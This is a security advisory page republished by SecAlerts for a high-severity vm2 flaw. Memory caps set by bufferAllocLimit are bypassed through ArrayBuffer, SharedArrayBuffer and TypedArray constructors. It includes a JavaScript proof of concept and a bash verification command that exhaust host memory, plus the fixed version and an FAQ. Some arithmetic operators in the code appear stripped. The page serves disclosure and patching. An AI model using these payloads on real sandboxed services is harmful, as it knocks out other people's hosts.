GHSA-v836-6xw4-9cx3: High severity npm/vm2 vulnerability

Published Aug 17, 2026
·
Updated

Summary:

The bufferAllocLimit defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using ArrayBuffer, SharedArrayBuffer, or any TypedArray constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as Buffer.alloc but are not subject to the size cap.

Details:

The bufferAllocLimit option (vm2 v3.11.0+) caps Buffer.alloc, Buffer.allocUnsafe, Buffer.allocUnsafeSlow, and the deprecated Buffer(N) / new Buffer(N) forms. The cap is enforced in setup-sandbox.js via checkBufferAllocLimit() (line 353-359).

However, ArrayBuffer, SharedArrayBuffer, Uint8Array, Float64Array, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (v8::ArrayBuffer::NewBackingStore → ArrayBufferAllocator::Allocate → calloc/malloc). These constructors are NOT intercepted by the bufferAllocLimit defense.

A single new ArrayBuffer(N) call with a large N exhausts host RSS in one synchronous allocation that V8's timeout cannot interrupt.

Environment:

- vm2 version: 3.11.3 - Node.js: v25.8.1 (affects all Node.js versions) - Configuration: Default new VM() or any configuration including bufferAllocLimit

POC:

javascript const { VM } = require('vm2');

// Operator sets bufferAllocLimit thinking they're protected: const vm = new VM({ bufferAllocLimit: 10 1024 1024 }); // 10MB cap

// Buffer.alloc IS capped (as intended): try { vm.run('Buffer.alloc(20 1024 1024)'); } catch(e) { console.log('Buffer.alloc blocked:', e.message); } // → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760"

// But these BYPASS the cap entirely: vm.run('new ArrayBuffer(1024 1024 1024)'); // 1GB allocated! vm.run('new SharedArrayBuffer(1024 1024 1024)'); // 1GB allocated! vm.run('new Uint8Array(1024 1024 1024)'); // 1GB allocated! vm.run('new Float64Array(128 1024 1024)'); // 1GB allocated!

// OOM kill in constrained environments (Docker, K8s, Lambda): vm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(10010241024))'); // → 10GB allocated → host OOM killed

Verification:

bash node -e ' const {VM} = require("./lib/main.js"); const vm = new VM({bufferAllocLimit: 1010241024}); try { vm.run("Buffer.alloc(2010241024)"); } catch(e) { console.log("Buffer BLOCKED"); } console.log("ArrayBuffer:", vm.run("new ArrayBuffer(10010241024).byteLength"), "bytes allocated"); console.log("SharedArrayBuffer:", vm.run("new SharedArrayBuffer(10010241024).byteLength"), "bytes allocated"); ' Output: Buffer BLOCKED ArrayBuffer: 104857600 bytes allocated SharedArrayBuffer: 104857600 bytes allocated

Impact:

- Type: Denial of Service (Host Memory Exhaustion) - Attack Complexity: Low - Availability Impact: Complete, host process OOM killed in memory-constrained environments - Affected deployments: Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set bufferAllocLimit believing they have DoS protection.

Affected Software

1 affected componentFixes available
npm/vm2<=3.11.5
3.11.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.6

Event History

Aug 17, 2026
Advisory Published
via GitHub·05:32 PM
Data Sourced
via GitHub·05:32 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of GHSA-v836-6xw4-9cx3?

The severity of GHSA-v836-6xw4-9cx3 is classified as high with a score of 7.5.

2

How does GHSA-v836-6xw4-9cx3 affect my application?

GHSA-v836-6xw4-9cx3 allows an attacker to bypass the `bufferAllocLimit` defense using certain typed array constructors, potentially leading to resource exhaustion.

3

How do I fix GHSA-v836-6xw4-9cx3?

To fix GHSA-v836-6xw4-9cx3, upgrade to the patched version of the npm/vm2 package provided in the releases.

4

What software is impacted by GHSA-v836-6xw4-9cx3?

GHSA-v836-6xw4-9cx3 impacts the npm/vm2 software library.

5

What is the primary method of exploitation for GHSA-v836-6xw4-9cx3?

The primary method of exploitation for GHSA-v836-6xw4-9cx3 involves using `ArrayBuffer`, `SharedArrayBuffer`, or any `TypedArray` constructor to bypass memory allocation limits.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203